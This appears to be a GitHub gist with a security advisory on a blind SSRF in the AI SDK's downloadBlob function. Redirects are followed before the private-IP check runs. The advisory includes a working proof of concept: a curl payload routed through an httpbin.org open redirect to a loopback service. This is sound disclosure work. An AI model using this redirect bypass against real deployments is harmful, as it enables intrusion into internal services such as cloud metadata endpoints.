Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save YLChen-007/07d149bd68adbee58165b4207a2abc71 to your computer and use it in GitHub Desktop.

Select an option

Save YLChen-007/07d149bd68adbee58165b4207a2abc71 to your computer and use it in GitHub Desktop.
Server-Side Request Forgery (SSRF) Bypass via HTTP Redirects in `downloadBlob`

Advisory Details

Title: Server-Side Request Forgery (SSRF) Bypass via HTTP Redirects in downloadBlob

Description:

Summary

An open redirect vulnerability or an attacker-controlled external server can bypass the IP blacklisting mechanism in validateDownloadUrl, allowing unauthenticated attackers to execute Blind Server-Side Request Forgery (SSRF) attacks against internal network resources.

Details

The @ai-sdk/provider-utils package provides a downloadBlob utility to fetch remote images and content safely by enforcing an SSRF blacklist via the validateDownloadUrl(url) function. validateDownloadUrl strictly checks whether the target URL domain resolves to private, loopback, or link-local IP addresses (e.g., 127.x.x.x, 10.x.x.x, 192.168.x.x).

However, there is a Time-of-Check to Time-of-Use (TOCTOU) gap during HTTP redirection. When native fetch(url) is invoked after the initial validation, it acts with the default configuration of redirect: 'follow'. An attacker can supply a completely valid public URL (e.g., a public server they control, or an open redirect service like httpbin.org) which successfully passes the initial validateDownloadUrl check. Upon execution, the fetch client automatically follows the 302 HTTP redirect sent by the external proxy and silently issues a request to the designated internal IP address before resolving back to the SDK.

Although the SDK performs a post-flight validation sequence (if (response.redirected) { validateDownloadUrl(response.url); }), this safety net occurs too late. The HTTP packet has already hit the internal backend service. The application correctly prevents the attacker from reading the response (yielding a Blind SSRF), but the state-modifying backend endpoint has already been successfully triggered.

Vulnerable Code in packages/provider-utils/src/download-blob.ts:

  validateDownloadUrl(url); // [1] Initial check strictly passes for public domains
  try {
    const response = await fetch(url, { // [2] fetch automatically follows malicious 302 redirects to internal IPs
      signal: options?.abortSignal,
    });

    // [3] Post-flight check occurs AFTER the internal network request has already been completed
    if (response.redirected) {
      validateDownloadUrl(response.url); 
    }

PoC

The following standalone PoC demonstrates a bypass of validateDownloadUrl by utilizing the public httpbin.org open redirection service to bounce a fetch() request into a simulated internal protected server at 127.0.0.1:8560.

  1. Save the following code as server.ts to simulate a vulnerable AI application accepting an image URL:
import express from 'express';
import { generateText } from 'ai';
import { openai } from '@ai-sdk/openai';

const app = express();
app.use(express.json());

app.post('/api/chat', async (req, res) => {
  const { imageUrl } = req.body;
  try {
    const { text } = await generateText({
      model: openai('gpt-4-vision-preview'),
      messages: [{ role: 'user', content: [{ type: 'text', text: 'What?' }, { type: 'image', image: imageUrl }] }]
    });
    res.json({ text });
  } catch (e: any) { res.json({ error: e.message }); }
});

app.listen(3000, () => console.log('Listening on port 3000'));
  1. Start the mock vulnerable application:
OPENAI_API_KEY=dummy npx tsx server.ts
  1. In a second terminal, start a mock internal service listener representing the local protected target:
python3 -m http.server 8560 --bind 127.0.0.1
  1. In a third terminal, submit the external malicious payload pointing to the open redirect:
curl -X POST http://127.0.0.1:3000/api/chat \
  -H "Content-Type: application/json" \
  -d '{"imageUrl": "http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A8560%2Fsecret_metadata"}'

Log of Evidence

The vulnerable server will throw a 500 error ("error":"URL with IP address 127.0.0.1 is not allowed"), but the terminal running the internal listener firmly confirms the SSRF traversal:

127.0.0.1 - - [30/Mar/2026 14:00:00] "GET /secret_metadata HTTP/1.1" 404 -

Impact

This vulnerability permits Blind Server-Side Request Forgery against internal infrastructure. Although attackers cannot inherently read exfiltrated data back through the payload response due to the post-flight validation error, they can forge direct GET requests to the private/loopback networks. This exposes the ecosystem to:

  • Mutating states on unprotected internal microservices, AWS Metadata, docker daemons, or configuration consoles via unprotected logic pathways.
  • Triggering internal REST actions remotely.
  • Internal port discovery or resource denial-of-service via slow-connection timeouts.

Affected products

  • Ecosystem: npm
  • Package name: @ai-sdk/provider-utils, ai
  • Affected versions: All versions supporting downloadBlob
  • Patched versions:

Severity

  • Severity: Medium
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Weaknesses

  • CWE: CWE-918: Server-Side Request Forgery (SSRF)

Occurrences

Permalink Description
packages/provider-utils/src/download-blob.ts The downloadBlob method executing native fetch over user-controlled URLs without overriding the default redirect-following behavior (redirect: 'manual').
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment